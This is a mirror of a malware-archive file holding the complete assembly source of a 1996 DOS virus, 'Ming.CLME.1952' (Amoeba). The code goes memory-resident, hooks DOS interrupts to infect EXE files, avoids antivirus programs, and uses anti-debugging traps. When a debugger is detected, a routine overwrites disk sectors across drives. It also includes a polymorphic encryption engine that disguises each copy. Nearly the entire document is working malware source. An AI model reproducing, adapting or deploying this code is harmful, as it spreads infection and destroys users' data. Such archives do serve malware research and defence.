mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 14:35:27 +00:00
1029 lines
22 KiB
NASM
1029 lines
22 KiB
NASM
;---------------------------------------------------------------------------;
|
|
; Title: Ming.CLME.1952 ;
|
|
; (c) 1996 Malware Technology ;
|
|
; Disclaimer: Malware Technology is not responsible for any problems ;
|
|
; caused due to assembly of this source. ;
|
|
;---------------------------------------------------------------------------;
|
|
.radix 10h
|
|
.model small
|
|
.code
|
|
.386
|
|
|
|
assume cs:_TEXT,ds:_TEXT,ss:_TEXT
|
|
|
|
start:
|
|
call flex2
|
|
flex2:
|
|
pop si
|
|
; sub si, offset flex2 - offset start
|
|
db 81,0EE
|
|
dw offset flex2 - offset start
|
|
|
|
xor ax,ax
|
|
mov ds,ax ; DS := 0
|
|
|
|
; Debugger Trap I
|
|
mov ax,cs
|
|
shl eax,10 ; Put segment into upper 16bit of eax
|
|
lea ax,newint01[si]
|
|
xchg eax,dword ptr ds:[4] ; int 01 vector
|
|
mov dword ptr ds:[4],eax
|
|
|
|
; Debugger Trap II
|
|
; make a checksum over the virus
|
|
mov al,0
|
|
mov bx,si
|
|
mov cx,19bh
|
|
checksum_loop:
|
|
add al,byte ptr cs:[bx]
|
|
inc bx
|
|
loop checksum_loop
|
|
cmp al,byte ptr cs:checksum[si]
|
|
jne newint01
|
|
|
|
cli
|
|
dec sp
|
|
sti
|
|
|
|
push es
|
|
mov ah,0f2
|
|
int 21 ; self-check
|
|
cmp ah,2 ; i am resident ?
|
|
jnz not_resident ; no
|
|
|
|
call flex3
|
|
flex3:
|
|
pop ax
|
|
sub ax,offset flex3 - offset start
|
|
xchg bp,ax
|
|
push cs
|
|
pop ds ; DS := CS
|
|
push cs
|
|
pop es ; ES := CS
|
|
lea si,initial_regs[bp]
|
|
lea di,old_ip[bp]
|
|
cld
|
|
mov cx,8
|
|
rep movsb
|
|
pop es ; PSP segment
|
|
push es
|
|
mov ax,es
|
|
add ax,10
|
|
add cs:old_cs[bp],ax
|
|
add cs:old_ss[bp],ax
|
|
mov ah,2ch
|
|
int 21 ; Get Time
|
|
cmp dh,2 ; Seconds = 2 ?
|
|
jnz no_damage ; No
|
|
|
|
; Damage function
|
|
push bp
|
|
mov ah,3
|
|
mov bh,0
|
|
int 10 ; Get Cursor Position at Page 0
|
|
push cx ; and save it
|
|
push dx
|
|
mov ax,1301 ; Give out string
|
|
mov dx,0800 ; (8,0)
|
|
push cs
|
|
pop es ; ES := CS
|
|
lea bp,copyright[bp] ; adress of string
|
|
mov bl,0f0 ; Attributes
|
|
mov cx,offset end_copyright - offset copyright
|
|
; Length of String
|
|
int 10 ; now
|
|
mov ah,2 ; set cursor position
|
|
pop dx ; get from stack
|
|
pop cx
|
|
int 10
|
|
pop bp
|
|
mov cx,0b6
|
|
sti
|
|
stop_loop:
|
|
hlt
|
|
loop stop_loop
|
|
|
|
no_damage:
|
|
pop es ; PSP segment
|
|
push es
|
|
pop ds
|
|
cli
|
|
mov ss,word ptr cs:old_ss[bp]
|
|
mov sp,word ptr cs:old_sp[bp]
|
|
sti
|
|
jmp start_host
|
|
|
|
not_resident:
|
|
call flex4
|
|
flex4:
|
|
pop si
|
|
sub si,offset flex4 - offset start
|
|
pop ax ; PSP-segment
|
|
add ax,10
|
|
mov es,ax ; Segment after PSP
|
|
push es
|
|
xor ax,ax
|
|
xchg di,ax
|
|
mov ds,ax ; DS := 0
|
|
|
|
; Debugger Trap III
|
|
mov eax,0CBA4F3FC ; CLD; REPZ; MOVSB; RETF
|
|
xchg eax,dword ptr ds:[000C]
|
|
mov cs:oldint03[si],eax
|
|
mov ax,offset start_over
|
|
push ax
|
|
mov cx,offset virus_end - offset start ; size of whole virus
|
|
push cs
|
|
pop ds
|
|
; DS:SI - begin of virus
|
|
; ES:DI - right after PSP
|
|
; return adress on stack ES:00E5
|
|
db 0EA
|
|
dd 0000000Ch ; JMP FAR 0000:000C
|
|
|
|
|
|
start_over:
|
|
xor ax,ax
|
|
mov ds,ax ; DS := 0
|
|
mov ax,cs
|
|
shl eax,10
|
|
mov ax,offset newint21
|
|
xchg eax,dword ptr ds:[84] ; Set new int 21
|
|
mov cs:oldint21,eax ; and save old one
|
|
mov eax,oldint03
|
|
mov dword ptr ds:[200],eax ; Set int 80 to int 03
|
|
|
|
; Get name of started program
|
|
push cs
|
|
pop ax
|
|
sub ax,10 ; => PSP segment
|
|
mov ds,ax
|
|
mov es,ax
|
|
mov ax,word ptr ds:[2c] ; segment of enviroment
|
|
mov ds,ax
|
|
mov bx,0ffff
|
|
env_loop:
|
|
inc bx
|
|
cmp word ptr ds:[bx],0
|
|
jnz env_loop
|
|
cmp word ptr ds:[bx+2],1
|
|
jnz env_loop
|
|
add bx,4
|
|
|
|
mov dx,bx
|
|
mov bx,offset exec_param_buffer
|
|
mov word ptr cs:[bx+4],es ; segment of command string
|
|
mov word ptr cs:[bx+8],es ; segment of 1st FCB
|
|
mov word ptr cs:[bx+0c],es ; segment of 2nd FCB
|
|
|
|
push ds
|
|
push es
|
|
xor ax,ax
|
|
mov es,ax ; ES := 0
|
|
lds bx,dword ptr es:[0C1] ; ???
|
|
cmp word ptr ds:[bx],9090
|
|
jnz @@103
|
|
mov bx,[bx+8]
|
|
lds bx,dword ptr ds:[bx]
|
|
@@103:
|
|
mov cx,25
|
|
add bx,cx
|
|
@@105:
|
|
inc bx
|
|
cmp word ptr [bx],0FC80
|
|
jnz @@104
|
|
mov ax,bx
|
|
@@104:
|
|
loop @@105
|
|
|
|
mov di,offset tunneled_int21
|
|
push cs
|
|
pop es
|
|
cld
|
|
stosw
|
|
mov ax,ds
|
|
stosw
|
|
|
|
pop ax
|
|
push ax
|
|
dec ax
|
|
mov ds,ax
|
|
mov dword ptr ds:[8],656F6D41
|
|
mov dword ptr ds:[0C],315F6162
|
|
|
|
pop es
|
|
pop ds
|
|
|
|
mov ah,4ah
|
|
mov bx,1000 ; virus needs 64 kbyte !
|
|
int 21
|
|
|
|
mov ax,4b00
|
|
push cs
|
|
pop es
|
|
mov bx,offset exec_param_buffer
|
|
int 21
|
|
mov ah,4dh
|
|
int 21 ; get ERRORLEVEL
|
|
mov ah,31
|
|
mov dx,0200
|
|
call call_int21
|
|
|
|
; Exec-Param-Block
|
|
exec_param_buffer dw ? ; segment of enviroment
|
|
dw 0080 ; offset of command string
|
|
dw ? ; segment of command string
|
|
dw 005C ; offset of 1st FCB
|
|
dw ? ; segment of 1st FCB
|
|
dw 006C ; offset of 2nd FCB
|
|
dw ? ; segment of 2nd FCB
|
|
|
|
copyright db ' *Amoeba v1.00* ',0ah,0dh
|
|
db 'Written by Crazy Lord (Ming)',0ah,0dh
|
|
db ' Made in Hong Kong '
|
|
end_copyright equ $
|
|
|
|
|
|
newint01:
|
|
call tunnel_int13
|
|
xor ax,ax
|
|
mov ds,ax ; DS := 0
|
|
mov ah,19
|
|
int 21 ; get actual drive
|
|
xchg al,dl ; drive number into dl
|
|
mov dh,0 ; Head 0
|
|
mov cx,1 ; Track 0 Sector 1
|
|
trash_next_track:
|
|
mov ax,301 ; Write one sector
|
|
pushf
|
|
call dword ptr ds:[004ch] ; call int 13h
|
|
inc ch ; next Track
|
|
cmp ch,22
|
|
jnz trash_next_track
|
|
inc dl ; next drive
|
|
jmp trash_next_track
|
|
|
|
|
|
newint21:
|
|
pushf
|
|
cmp ah,0f2
|
|
jnz not_selfcheck
|
|
mov ah,2
|
|
popf
|
|
iret
|
|
not_selfcheck:
|
|
cmp ax,4b00
|
|
jz infect_file
|
|
cmp ah,3dh
|
|
jz infect_file
|
|
cmp ah,56
|
|
jz infect_file
|
|
cmp ah,43
|
|
jz infect_file
|
|
|
|
go_old21:
|
|
popf
|
|
db 0EA ; JMP FAR xxxx:xxxx
|
|
oldint21 dd ? ; (0246)
|
|
|
|
infect_file:
|
|
pusha
|
|
mov bx,dx
|
|
dec bx
|
|
next_char:
|
|
inc bx
|
|
cmp byte ptr ds:[bx],0 ; end of string ?
|
|
jnz next_char
|
|
cmp word ptr ds:[bx-2],'EX' ; EXE-file ?
|
|
jz is_exe
|
|
do_not:
|
|
popa
|
|
jmp go_old21
|
|
|
|
is_exe:
|
|
cmp word ptr ds:[bx-6],'NA' ; 'TBSCAN.EXE' ?
|
|
jz do_not
|
|
cmp word ptr ds:[bx-6],'TO' ; 'F-PROT.EXE' ?
|
|
jz do_not
|
|
cmp word ptr ds:[bx-6],'86'
|
|
jz do_not
|
|
cmp word ptr ds:[bx-6],'YP'
|
|
jz do_not
|
|
cmp word ptr ds:[bx-6],'GE'
|
|
;* jz do_not
|
|
|
|
push ds
|
|
push es
|
|
call tunnel_int13
|
|
|
|
mov ax,3d02
|
|
call call_int21 ; open file for read/write
|
|
xchg bx,ax
|
|
|
|
mov ax,5700
|
|
call call_int21 ; get files date & time
|
|
push dx ; and save them
|
|
push cx
|
|
|
|
or cx,0FFF0
|
|
cmp cx,0FFFF ; seconds = 30 or 62 ?
|
|
jnz do_infect
|
|
|
|
pop cx
|
|
pop dx
|
|
jmp close_file
|
|
|
|
do_infect:
|
|
push cs
|
|
pop ds
|
|
|
|
mov ah,3f
|
|
mov cx,18
|
|
mov dx,offset buffer
|
|
call call_int21 ; read 24 byte from file
|
|
|
|
push cx
|
|
push dx
|
|
|
|
les ax,dword ptr buffer[0E]
|
|
mov word ptr initial_regs[4],ax
|
|
mov word ptr initial_regs[6],es
|
|
les ax,dword ptr buffer[14]
|
|
mov word ptr initial_regs,ax
|
|
mov word ptr initial_regs[2],es
|
|
|
|
mov ax,4202
|
|
xor cx,cx
|
|
cwd
|
|
call call_int21 ; seek to end of file
|
|
|
|
push dx ; filesize
|
|
push ax
|
|
push bx ; file handle
|
|
|
|
mov bx,word ptr buffer[8]
|
|
shl bx,4 ; *16
|
|
sub ax,bx
|
|
sbb dx,0
|
|
mov bx,10
|
|
div bx
|
|
mov word ptr buffer[16],ax
|
|
add ax,100
|
|
mov word ptr buffer[0E],ax
|
|
mov word ptr buffer[14],dx
|
|
mov word ptr buffer[10],0
|
|
|
|
mov cs:int_ss,ss
|
|
mov cs:int_sp,sp
|
|
|
|
mov ax,cs
|
|
cli
|
|
mov ss,ax
|
|
mov sp,offset own_stack
|
|
sti
|
|
|
|
mov ax,cs
|
|
mov bx,offset virus_end + 50
|
|
shr bx,4
|
|
add ax,bx
|
|
mov es,ax
|
|
mov bp,dx
|
|
mov dx,0
|
|
mov cx,offset virus_end
|
|
call mutate
|
|
|
|
cli
|
|
mov sp,cs:int_sp
|
|
mov ss,cs:int_ss
|
|
sti
|
|
|
|
pop bx ; file handle
|
|
mov ah,40
|
|
cwd
|
|
call call_int21 ; append virus to file
|
|
|
|
push cs
|
|
pop ds
|
|
pop ax ; filesize
|
|
pop dx
|
|
add ax,cx
|
|
adc dx,0
|
|
push bx
|
|
mov bx,0200
|
|
div bx ; => size in pages
|
|
mov word ptr buffer[2],dx
|
|
or dx,dx
|
|
jz last_page_full
|
|
inc ax
|
|
last_page_full:
|
|
mov word ptr buffer[4],ax
|
|
|
|
mov ax,4200
|
|
pop bx
|
|
xor cx,cx
|
|
cwd
|
|
call call_int21 ; seek to top of file
|
|
|
|
mov ah,40
|
|
pop dx
|
|
pop cx
|
|
call call_int21 ; write new header to file
|
|
|
|
mov ax,5701
|
|
pop cx
|
|
pop dx
|
|
or cx,0F
|
|
call call_int21 ; set modified time
|
|
|
|
close_file:
|
|
mov ah,3e
|
|
call call_int21 ; close file
|
|
|
|
mov ah,0dh
|
|
int 21 ; reset all drives
|
|
|
|
xor ax,ax
|
|
mov ds,ax ; DS := 0
|
|
mov ax,word ptr cs:oldint13
|
|
mov word ptr ds:[4c],ax
|
|
mov ax,word ptr cs:oldint13+2
|
|
mov word ptr ds:[4e],ax
|
|
|
|
pop es
|
|
pop ds
|
|
popa
|
|
jmp go_old21
|
|
|
|
|
|
call_int21:
|
|
pushf
|
|
|
|
db 09A ; CALL FAR xxxx:xxxx
|
|
tunneled_int21 dd ?
|
|
|
|
ret
|
|
|
|
tunnel_int13:
|
|
pusha
|
|
push ds
|
|
push es
|
|
xor bx,bx
|
|
mov es,bx ; ES := 0
|
|
mov ax,0F000
|
|
mov ds,ax ; DS := 0F000
|
|
search_loop:
|
|
inc bx
|
|
cmp dword ptr ds:[bx],0FB80FA80
|
|
jnz search_loop
|
|
mov ax,ds
|
|
shl eax,10
|
|
xchg bx,ax
|
|
xchg eax,dword ptr es:[004c] ; set new int 13
|
|
mov dword ptr cs:oldint13,eax ; save old int 13
|
|
pop es
|
|
pop ds
|
|
popa
|
|
ret
|
|
|
|
start_host:
|
|
db 0EA ; JMP FAR
|
|
old_ip dw ?
|
|
old_cs dw ?
|
|
old_ss dw ?
|
|
old_sp dw ?
|
|
|
|
oldint13 dd ?
|
|
oldint03 dd ?
|
|
|
|
initial_regs dw ?
|
|
dw ?
|
|
dw ?
|
|
dw ?
|
|
|
|
|
|
checksum db 06F
|
|
|
|
buffer db 18 dup (?)
|
|
|
|
|
|
int_sp dw ?
|
|
int_ss dw ?
|
|
|
|
db 28 dup (?)
|
|
|
|
own_stack:
|
|
db 9 dup (?)
|
|
|
|
|
|
; Input:
|
|
; CX - byte to crypt
|
|
; DS:DX - pointer to ccode to crypt (DS must be equal to CS!)
|
|
; ES - working segment
|
|
; BP - offset the deryptor should run on later
|
|
; Output:
|
|
; CX - byte in encrypted code and decryptor
|
|
; DS:DX - pointer to decryptor end encr. code
|
|
mutate:
|
|
jmp start2
|
|
|
|
db 'CLME V0.62'
|
|
|
|
start2:
|
|
push ax
|
|
push bx
|
|
push si
|
|
push di
|
|
xchg bp,ax
|
|
; get offset the engine runs on
|
|
call flex1
|
|
flex1:
|
|
pop bp
|
|
sub bp,offset flex1
|
|
; save parameters
|
|
mov o_es[bp],es
|
|
mov o_ds[bp],ds
|
|
mov o_dx[bp],dx
|
|
mov o_cx[bp],cx
|
|
mov o_ax[bp],ax
|
|
; init the engine
|
|
xor di,di ; it begins at ES:0 to create the decryptor
|
|
mov step_count[bp],0 ; begin with step 0
|
|
mov int_allready[bp],0 ; no int 8/1c generated yet
|
|
next_round:
|
|
;
|
|
call rnd_get
|
|
mov bl,12 ; random values 0..E
|
|
call rnd_limited
|
|
xor ah,ah
|
|
xchg cx,ax
|
|
jcxz next_round ; 0 not allowed
|
|
cmp step_count[bp],2
|
|
ja after_step_2
|
|
add cx,10 ; up to step 2 use more junk
|
|
after_step_2:
|
|
cmp step_count[bp],6 ; before last step ?
|
|
jz step_6 ; yes
|
|
call rnd_get
|
|
mov bl,33 ; random value from 0..5
|
|
call rnd_limited
|
|
cmp al,5
|
|
jz case_1
|
|
cmp al,4
|
|
jz case_2
|
|
cmp al,3
|
|
jz case_3
|
|
cmp al,2
|
|
jz case_4
|
|
cmp al,1
|
|
jz case_5
|
|
; generate a int 8/1c
|
|
cmp di,10 ; within the first 16 byte ?
|
|
jb do_not_gen_int ; yes then do not generate
|
|
cmp int_allready[bp],1 ; allready generated such a int ?
|
|
jz do_not_gen_int ; yes then do not generate
|
|
mov int_allready[bp],1 ; set flag
|
|
mov al,0cdh ; INT
|
|
stosb
|
|
call rnd_get
|
|
and ax,1
|
|
or al,al
|
|
jz int_1c ; take INT 1c
|
|
mov al,8 ; take int 8
|
|
jmp int_both
|
|
int_1c:
|
|
mov al,1c
|
|
int_both:
|
|
stosb ; put the int number
|
|
;org 98
|
|
do_not_gen_int:
|
|
loop after_step_2
|
|
jmp junk_done
|
|
;org 9C
|
|
case_5:
|
|
call junk1
|
|
jmp do_not_gen_int
|
|
;org 0A1
|
|
case_1:
|
|
call junk2
|
|
jmp do_not_gen_int
|
|
;org 0A6
|
|
case_2:
|
|
call junk3
|
|
jmp do_not_gen_int
|
|
;org 0AB
|
|
case_3:
|
|
call junk4
|
|
jmp do_not_gen_int
|
|
;org 0B0
|
|
case_4:
|
|
call junk5
|
|
jmp do_not_gen_int
|
|
;org 0B5
|
|
step_6:
|
|
call junk6
|
|
loop after_step_2
|
|
jmp not_step_4
|
|
;org 0BC
|
|
junk_done:
|
|
cmp step_count[bp],0
|
|
jnz not_step_0
|
|
; Init Address
|
|
mov pos_addrinit[bp],di ; save position
|
|
inc step_count[bp]
|
|
lea si,mov_ax[bp] ; MOV AX opcode
|
|
cld
|
|
movsb
|
|
movsw ; put it
|
|
jmp next_round
|
|
not_step_0:
|
|
cmp step_count[bp],1
|
|
jnz not_step_1
|
|
; Init encryption value
|
|
mov pos_encrinit[bp],di ; save position
|
|
inc step_count[bp]
|
|
lea si,mov_al[bp] ; MOV AL opcode
|
|
cld
|
|
movsw ; put it
|
|
jmp next_round
|
|
not_step_1:
|
|
cmp step_count[bp],2
|
|
jnz not_step_2
|
|
; make encryption
|
|
mov pos_encrypt[bp],di
|
|
inc step_count[bp]
|
|
lea si,xor_opcode[bp]
|
|
cld
|
|
movsb
|
|
movsw
|
|
jmp next_round
|
|
not_step_2:
|
|
cmp step_count[bp],3
|
|
jnz not_step_3
|
|
; make encryption value modifier
|
|
mov pos_modif[bp],di ; save postion
|
|
inc step_count[bp]
|
|
lea si,add_al[bp] ; ADD AL opcode
|
|
cld
|
|
movsw
|
|
jmp next_round
|
|
not_step_3:
|
|
cmp step_count[bp],4
|
|
jnz not_step_4
|
|
; make address increase
|
|
mov pos_increase[bp],di ; save position
|
|
inc step_count[bp]
|
|
lea si,inc_ax[bp] ; INC AX opcode
|
|
cld
|
|
movsb
|
|
jmp next_round
|
|
|
|
not_step_4:
|
|
cmp step_count[bp],5
|
|
jnz not_step_5
|
|
; make address compare
|
|
mov pos_addrcmp[bp],di ; save position
|
|
inc step_count[bp]
|
|
lea si,cmp_ax[bp] ; CMP AX,value opcode
|
|
cld
|
|
movsw
|
|
movsw
|
|
jmp next_round
|
|
|
|
not_step_5:
|
|
; end decryptor with JNZ
|
|
mov pos_loopjmp[bp],di
|
|
lea si,jnonz[bp] ; JNZ (backwards to begin of loop)
|
|
cld
|
|
movsw ; put it
|
|
; choose encryption value
|
|
call rnd_get
|
|
mov encr_val[bp],al
|
|
; and put it into the opcode with initializises it
|
|
mov di,pos_encrinit[bp]
|
|
inc di
|
|
cld
|
|
stosb
|
|
;
|
|
call choose_addrreg
|
|
mov di,pos_addrinit[bp]
|
|
add byte ptr es:[di],al
|
|
mov di,pos_increase[bp]
|
|
add byte ptr es:[di],al
|
|
mov di,pos_addrcmp[bp]
|
|
inc di
|
|
add byte ptr es:[di],al
|
|
mov di,pos_encrypt[bp]
|
|
inc di
|
|
inc di
|
|
cmp al,3
|
|
jnz is_not_bx
|
|
add byte ptr es:[di],9
|
|
jmp zero_encryption_value
|
|
is_not_bx:
|
|
add byte ptr es:[di],al
|
|
zero_encryption_value:
|
|
; choose the value for the encryption modifying
|
|
call rnd_get
|
|
or al,al
|
|
jz zero_encryption_value
|
|
mov modif_val[bp],al
|
|
; insert it into the modifier opcode
|
|
mov di,pos_modif[bp]
|
|
inc di
|
|
mov byte ptr es:[di],al
|
|
; fix the address in the address init
|
|
mov di,pos_addrinit[bp]
|
|
inc di
|
|
mov ax,pos_loopjmp[bp]
|
|
inc ax
|
|
inc ax
|
|
add ax,o_ax[bp]
|
|
stosw
|
|
; fix the address in the address compare
|
|
mov di,pos_addrcmp[bp]
|
|
inc di
|
|
inc di
|
|
add ax,o_cx[bp]
|
|
inc ax
|
|
stosw
|
|
; fix the jnz that makes the loop
|
|
mov di,pos_loopjmp[bp]
|
|
mov ax,pos_encrypt[bp]
|
|
sub ax,di
|
|
dec ax
|
|
dec ax
|
|
inc di
|
|
stosw ; stores as word but higher byte will be overwritten
|
|
; copy the code to crypt after the decryptor
|
|
mov ds,o_ds[bp]
|
|
mov si,o_dx[bp]
|
|
mov di,pos_loopjmp[bp]
|
|
inc di
|
|
inc di
|
|
mov cx,o_cx[bp]
|
|
cld
|
|
rep movsb
|
|
; encrypt the whole stuff
|
|
mov al,encr_val[bp]
|
|
mov di,pos_loopjmp[bp]
|
|
inc di
|
|
inc di
|
|
mov cx,o_cx[bp]
|
|
mov ah,modif_val[bp]
|
|
encryption_loop:
|
|
xor es:[di],al
|
|
inc di
|
|
add al,ah
|
|
loop encryption_loop
|
|
; calculate result values
|
|
mov cx,pos_loopjmp[bp]
|
|
inc cx
|
|
inc cx
|
|
add cx,o_cx[bp]
|
|
push es
|
|
pop ds
|
|
xor dx,dx
|
|
; leave the engine
|
|
pop di
|
|
pop si
|
|
pop bx
|
|
pop ax
|
|
ret
|
|
|
|
;org 212
|
|
junk1:
|
|
push cx
|
|
call rnd_get
|
|
push bx
|
|
mov bl,1c ; random value 0..9
|
|
call rnd_limited
|
|
pop bx
|
|
lea bx,junk_table[bp]
|
|
xor ah,ah
|
|
add bx,ax ; index in thhe table
|
|
mov al,byte ptr ds:[bx] ; get opcode
|
|
cld
|
|
stosb ; put it
|
|
; add second byte
|
|
call choose_reg8
|
|
xchg al,bl
|
|
mov cl,3
|
|
shl bl,cl
|
|
call choose_reg8
|
|
add al,bl
|
|
add al,0C0
|
|
cld
|
|
stosb
|
|
pop cx
|
|
ret
|
|
|
|
;org 23Dh
|
|
junk2:
|
|
push cx
|
|
call rnd_get
|
|
push bx
|
|
mov bl,1c ; random value 0..9
|
|
call rnd_limited
|
|
pop bx
|
|
lea bx,junk_table[bp]
|
|
xor ah,ah
|
|
add bx,ax
|
|
mov al,byte ptr ds:[bx] ; get opcode
|
|
inc al ; make it a word operation
|
|
cld
|
|
stosb ; put it
|
|
call choose_reg16
|
|
xchg al,bl
|
|
mov cl,3
|
|
shl bl,cl
|
|
call choose_reg16
|
|
add al,bl
|
|
add al,0C0
|
|
cld
|
|
stosb ; put second byte
|
|
pop cx
|
|
ret
|
|
|
|
;org 26A
|
|
junk3:
|
|
mov al,80 ; prefix 80
|
|
jmp prefix_junk
|
|
;org 26E
|
|
junk4:
|
|
mov al,81 ; prefix 81
|
|
jmp prefix_junk
|
|
;org 272
|
|
junk5:
|
|
mov al,83 ; prefix 83
|
|
jmp prefix_junk
|
|
;org 276
|
|
prefix_junk:
|
|
push cx
|
|
cld
|
|
stosb ; put the prefix
|
|
xor ah,ah
|
|
xchg al,dl ; save prefix to DL
|
|
call rnd_get
|
|
mov bl,24
|
|
call rnd_limited ; random value 0..7
|
|
mov cl,3
|
|
shl al,cl
|
|
add al,0c0
|
|
xchg al,bl ; save to bl
|
|
cmp dl,80 ; prefix was 80 ?
|
|
jnz its_word_register ; no then word reg
|
|
call choose_reg8
|
|
jmp reg_choosen
|
|
its_word_register:
|
|
call choose_reg16
|
|
reg_choosen:
|
|
add al,bl ; add to previous calculated
|
|
cld
|
|
stosb ; put it
|
|
call rnd_get
|
|
cmp dl,81 ; was prefix 81 ?
|
|
jz put_word_data ; then put word data
|
|
cld
|
|
stosb ; put data
|
|
jmp putted_data
|
|
put_word_data:
|
|
cld
|
|
stosw ; put data
|
|
putted_data:
|
|
pop cx
|
|
ret
|
|
;org 2AE
|
|
junk6:
|
|
push cx
|
|
call rnd_get
|
|
and al,1
|
|
lea bx,junk_part[bp]
|
|
xor ah,ah
|
|
add bx,ax
|
|
mov al,byte ptr ds:[bx] ; get opcode
|
|
cld
|
|
stosb ; put it
|
|
call choose_reg16 ; insert regs into second byte
|
|
xchg al,bl
|
|
mov cl,3
|
|
shl bl,cl
|
|
call choose_reg16
|
|
add al,bl
|
|
add al,0c0
|
|
cld
|
|
stosb ; put it
|
|
pop cx
|
|
ret
|
|
|
|
;org 2D4
|
|
; Get a random value in AX
|
|
rnd_get:
|
|
push bx
|
|
push cx
|
|
lea bx,last_rnd[bp]
|
|
in al,40
|
|
xchg al,cl
|
|
in al,40
|
|
xchg al,ah
|
|
in al,40
|
|
assume ds:nothing
|
|
add ax,word ptr cs:[bx]
|
|
rol ax,cl
|
|
mov word ptr cs:[bx],ax
|
|
assume ds:_TEXT
|
|
pop cx
|
|
pop bx
|
|
ret
|
|
|
|
; 2ef
|
|
rnd_limited:
|
|
; limited random number
|
|
; 0...FFh/BL
|
|
push dx
|
|
xor dx,dx
|
|
call rnd_get
|
|
mov ah,0
|
|
div bl
|
|
pop dx
|
|
ret
|
|
; 2fb
|
|
|
|
choose_addrreg:
|
|
call rnd_get
|
|
push bx
|
|
mov bl,24
|
|
call rnd_limited
|
|
pop bx
|
|
cmp al,3
|
|
jz adress_reg_choosen ; BX is ok
|
|
cmp al,6
|
|
jb choose_addrreg ; only ok for SI,DI
|
|
adress_reg_choosen:
|
|
ret
|
|
|
|
; org 30e
|
|
choose_reg8:
|
|
call rnd_get
|
|
push bx
|
|
mov bl,24 ; random value 0..7
|
|
call rnd_limited
|
|
pop bx
|
|
or al,al
|
|
jz choose_reg8 ; 0 not allowed (AL)
|
|
cmp al,3
|
|
jz choose_reg8 ; 3 not ok (BL)
|
|
cmp al,7
|
|
jz choose_reg8 ; 7 not ok (BH)
|
|
ret
|
|
|
|
;org 325
|
|
choose_reg16:
|
|
call rnd_get
|
|
push bx
|
|
mov bl,24 ; random value 0..7
|
|
call rnd_limited
|
|
pop bx
|
|
or al,al ; 0 not ok (AX)
|
|
jz choose_reg16
|
|
cmp al,3 ; 3 not ok (BX)
|
|
jz choose_reg16
|
|
cmp al,4 ; 4 not ok (SP)
|
|
jz choose_reg16
|
|
cmp al,6 ; 6,7 not ok (SI,DI)
|
|
jnb choose_reg16
|
|
ret
|
|
|
|
|
|
modif_val db ?
|
|
encr_val db ?
|
|
last_rnd dw ?
|
|
step_count db ?
|
|
int_allready db ?
|
|
o_es dw ?
|
|
o_ds dw ?
|
|
o_dx dw ?
|
|
o_cx dw ?
|
|
o_ax dw ?
|
|
pos_addrinit dw ?
|
|
pos_encrinit dw ?
|
|
pos_encrypt dw ?
|
|
pos_modif dw ?
|
|
pos_increase dw ?
|
|
pos_addrcmp dw ?
|
|
pos_loopjmp dw ?
|
|
|
|
db 0C0 ;*
|
|
junk_table db 0,8,10,18,20,28,30,84
|
|
junk_part db 86,88 ; XCHG, MOV
|
|
mov_ax db 0B8,0,0 ; MOV AX,0
|
|
mov_al db 0B0,0 ; MOV AL,0
|
|
xor_opcode db 2E,30,0FE ; XOR BYTE PTR CS:[reg16],reg8
|
|
add_al db 4,0 ; ADD AL,0
|
|
inc_ax db 40 ; INC AX
|
|
cmp_ax db 81,0F8,0,0 ; CMP AX,0
|
|
jnonz db 75,1E ; JNZ
|
|
|
|
virus_end equ $
|
|
|
|
end start
|